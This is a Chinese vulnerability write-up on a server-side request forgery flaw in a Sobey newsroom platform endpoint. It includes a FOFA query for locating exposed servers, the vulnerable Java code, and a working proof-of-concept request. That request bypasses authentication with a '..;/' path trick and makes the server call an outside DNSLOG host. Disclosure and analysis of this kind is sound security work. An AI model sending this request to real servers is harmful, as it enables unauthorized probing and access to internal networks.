漏洞简介
索贝融媒体是一套面向新闻传媒行业的内容生产与发布平台,主要用于稿件采编、融媒协同管理以及多渠道分发。该系统的 /sobey-mchEditor/mch/WXArticleInt/wxArticleInfo 接口在处理外部请求参数时缺乏严格的地址校验与访问控制,导致存在服务器端请求伪造(SSRF)漏洞。攻击者可通过该漏洞诱导服务器发起任意 HTTP/HTTPS 请求,从而探测内网服务结构、访问受限接口,甚至在特定条件下实现对内网应用的数据窃取或进一步利用。
影响版本
fofa语法
icon_hash="689611853"||app="SOBEY-融媒体" || body="You need to enable JavaScript to run this app" && header="Sobey"
漏洞分析
根据漏洞信息看下mch/WXArticleInt/wxArticleInfo的实现逻辑

直接进入看它的实现逻辑如下
@RequestMapping(
value = {"/wxArticleInfo"},
method = {RequestMethod.GET}
)
public Response wxArticleInfo(@RequestParam("token") String token, @RequestParam("siteCode") String siteCode, @RequestParam("wxurl") String wxurl) {
Response response;
try {
Map<String, String> wxDoc = parseWXDoc(wxurl);
if (wxDoc != null) {
response = Response.success(wxDoc);
} else {
response = Response.failed("解析公众号文章失败");
}
} catch (Exception e) {
e.printStackTrace();
response = Response.failed("解析公众号文章失败");
}
return response;
}
参数wxurl被带入parseWXDoc方法,跟进查看其实现逻辑
private static Map<String, String> parseWXDoc(String requestUrl) {
try {
logger.info("开始请求微信公众号文章的url:" + requestUrl);
String proxyIpPort = SystemConfigUtil.getSolarSystemByCache("proxyIpPort", "");
String proxyType = SystemConfigUtil.getSolarSystemByCache("proxyType", "HTTP");
String reverseProxyPrefix = SystemConfigUtil.getReverseProxyPrefix();
Proxy proxy = null;
if (StringUtils.isNotEmpty(proxyIpPort)) {
String[] split = proxyIpPort.split(":");
if ("SOCKS".equalsIgnoreCase(proxyType)) {
proxy = new Proxy(Type.SOCKS, new InetSocketAddress(split[0], Integer.valueOf(split[1])));
} else {
proxy = new Proxy(Type.HTTP, new InetSocketAddress(split[0], Integer.valueOf(split[1])));
}
} else if (!StringUtils.isEmpty(reverseProxyPrefix)) {
requestUrl = StringUtil.dealReverseProxyUrl(requestUrl, reverseProxyPrefix);
}
Connection connect = Jsoup.connect(requestUrl);
if (proxy != null) {
connect.proxy(proxy);
}
requestUrl被直接使用Jsoup.connect进行访问,整个过程中对wxurl无任何过滤或校验,因此造成SSRF漏洞。
漏洞复现
权限绕过相关分析可以参考之前的 索贝融媒体 getList SQL注入漏洞 的权限校验部分
GET /sobey-mchEditor/js/..;/mch/WXArticleInt/wxArticleInfo?siteCode=&token=&wxurl=http://xxe.dnslog.pt/xxe_test HTTP/1.1
Host: sobey.mrxn.net

成功在DNSLOG平台收到DNS和HTTP请求


